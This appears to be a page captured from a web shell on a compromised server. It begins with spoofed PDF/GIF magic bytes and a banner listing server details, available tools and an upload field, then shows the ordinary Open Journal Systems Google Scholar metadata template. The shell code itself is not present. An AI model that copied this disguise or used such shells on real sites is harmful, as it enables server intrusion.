%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/templates/article/ |
Upload File : |
{**
* templates/article/googlescholar.tpl
*
* Copyright (c) 2013-2019 Simon Fraser University
* Copyright (c) 2003-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Metadata elements for articles based on preferred types for Google Scholar
*
*}
<meta name="gs_meta_revision" content="1.1" />
<meta name="citation_journal_title" content="{$currentJournal->getLocalizedTitle()|strip_tags|escape}"/>
{if $currentJournal->getSetting('onlineIssn')}{assign var="issn" value=$currentJournal->getSetting('onlineIssn')}
{elseif $currentJournal->getSetting('printIssn')}{assign var="issn" value=$currentJournal->getSetting('printIssn')}
{elseif $currentJournal->getSetting('issn')}{assign var="issn" value=$currentJournal->getSetting('issn')}
{/if}
{if $issn}
<meta name="citation_issn" content="{$issn|strip_tags|escape}"/>
{/if}
{foreach name="authors" from=$article->getAuthors() item=author}
<meta name="citation_author" content="{$author->getFirstName()|escape}{if $author->getMiddleName() != ""} {$author->getMiddleName()|escape}{/if} {$author->getLastName()|escape}"/>
{if $author->getLocalizedAffiliation() != ""}
<meta name="citation_author_institution" content="{$author->getLocalizedAffiliation()|strip_tags|escape}"/>
{/if}
{/foreach}
<meta name="citation_title" content="{$article->getLocalizedTitle()|strip_tags|escape}"/>
{**
* Google Scholar date: Use article publication date, falling back on issue
* year and issue publication date in sequence. Bug #6480 and issue #2739.
*}
{if is_a($article, 'PublishedArticle') && $article->getDatePublished()}
{assign var=datePublished value=$article->getDatePublished()}
{if $datePublished && (!$issue->getYear() || $issue->getYear() == strftime('%Y', strtotime($datePublished)))}
<meta name="citation_date" content="{$article->getDatePublished()|date_format:"%Y/%m/%d"}"/>
{else}
<meta name="citation_date" content="{$issue->getYear()|escape}"/>
{/if}
{elseif $issue && $issue->getYear()}
<meta name="citation_date" content="{$issue->getYear()|escape}"/>
{elseif $issue && $issue->getDatePublished()}
<meta name="citation_date" content="{$issue->getDatePublished()|date_format:"%Y/%m/%d"}"/>
{/if}
{if $issue}
<meta name="citation_volume" content="{$issue->getVolume()|strip_tags|escape}"/>
<meta name="citation_issue" content="{$issue->getNumber()|strip_tags|escape}"/>
{/if}
{if $article->getPages()}
{if $article->getStartingPage()}
<meta name="citation_firstpage" content="{$article->getStartingPage()|escape}"/>
{/if}
{if $article->getEndingPage()}
<meta name="citation_lastpage" content="{$article->getEndingPage()|escape}"/>
{/if}
{/if}
{foreach from=$pubIdPlugins item=pubIdPlugin}
{if $issue->getPublished()}
{assign var=pubId value=$pubIdPlugin->getPubId($pubObject)}
{else}
{assign var=pubId value=$pubIdPlugin->getPubId($pubObject, true)}{* Preview rather than assign a pubId *}
{/if}
{if $pubId}
<meta name="citation_{$pubIdPlugin->getPubIdDisplayType()|escape|lower}" content="{$pubId|escape}"/>
{/if}
{/foreach}
<meta name="citation_abstract_html_url" content="{url page="article" op="view" path=$article->getBestArticleId($currentJournal)}"/>
{if $article->getLanguage()}
<meta name="citation_language" content="{$article->getLanguage()|strip_tags|escape}"/>
{/if}
{if $article->getSubject(null)}{foreach from=$article->getSubject(null) key=metaLocale item=metaValue}
{foreach from=$metaValue|explode:"; " item=gsKeyword}
{if $gsKeyword}
<meta name="citation_keywords" xml:lang="{$metaLocale|String_substr:0:2|escape}" content="{$gsKeyword|escape}"/>
{/if}
{/foreach}
{/foreach}{/if}
{if is_a($article, 'PublishedArticle')}
{foreach from=$article->getGalleys() item=gs_galley}
{if $gs_galley->getFileType()=="application/pdf"}
<meta name="citation_pdf_url" content="{url page="article" op="download" path=$article->getBestArticleId($currentJournal)|to_array:$gs_galley->getBestGalleyId($currentJournal)}"/>
{else}
<meta name="citation_fulltext_html_url" content="{url page="article" op="view" path=$article->getBestArticleId($currentJournal)|to_array:$gs_galley->getBestGalleyId($currentJournal)}"/>
{/if}
{/foreach}
{/if}